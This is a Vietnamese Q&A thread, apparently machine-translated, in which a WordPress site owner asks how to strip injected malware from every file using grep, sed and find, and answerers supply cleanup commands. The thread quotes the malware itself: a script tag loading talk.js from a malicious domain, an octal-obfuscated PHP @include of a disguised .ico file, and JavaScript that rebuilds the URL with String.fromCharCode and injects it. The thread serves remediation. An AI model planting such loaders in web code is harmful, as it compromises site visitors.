Vì vậy, toàn bộ máy chủ của tôi đã bị hack hoặc gặp sự cố phần mềm độc hại. trang web của tôi dựa trên WordPress và phần lớn các trang web được lưu trữ trên máy chủ của tôi là dựa trên WordPress. Tin tặc đã thêm dòng mã này vào mỗi tệp và trong cơ sở dữ liệu
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
Tôi đã tìm kiếm nó thông qua grep bằng cách sử dụng
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
Tôi đang cố gắng thay thế nó trong toàn bộ cấu trúc tệp sed
và tôi đã viết lệnh sau.
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
Tôi đang cố gắng thay thế chuỗi trên một tệp index.php
đầu tiên, vì vậy tôi biết nó hoạt động.
và tôi biết mã của tôi là sai. Xin hãy giúp tôi với.
Tôi đã thử với mã của @ Eran và nó đã xóa toàn bộ dòng, điều này tốt và đúng như mong đợi. Tuy nhiên, tổng số biệt ngữ là đây
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
Và trong khi tôi muốn xóa tất cả nội dung, tôi muốn giữ thẻ mở php <?php
.
Mặc dù giải pháp của @ slybloty rất dễ dàng và nó đã hoạt động.
vì vậy để loại bỏ mã hoàn toàn khỏi tất cả các tập tin bị ảnh hưởng. Tôi đang chạy 3 lệnh sau, Cảm ơn tất cả các bạn vì điều này.
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"
- Để xóa dòng scriptfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'
- Để xóa@include
dòngfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'
- Để xóa dòng bình luận
Ngoài ra, tôi đã chạy lại cả 3 lệnh '*.html'
vì tập lệnh của hacker đã tạo index.html không mong muốn trong tất cả các thư mục. Tôi không chắc chắn nếu xóa hàng loạt index.html này là cách tiếp cận đúng.
Bây giờ, tôi vẫn cần phải tìm ra các tập tin rác và dấu vết của nó.
Kịch bản tin tặc cũng đã thêm mã JS.
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
Cố gắng để xem nếu tôi có thể sed
là tốt.
while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"
Các -l
tùy chọn chỉ cung cấp tên tập tin và không phải là văn bản phù hợp.
sed -i
. Ví dụ: sed -i.bak
sẽ tạo một *.bak
tệp cho tất cả các tệp được chỉnh sửa. Khi được sử dụng với while...grep
vòng lặp, bạn sẽ chỉ sao lưu các tệp có chứa chuỗi đó. Xin lỗi cho tất cả các ý kiến bổ sung, nhưng theo tôi, phần mềm độc hại là một kịch bản "tất cả trên tay".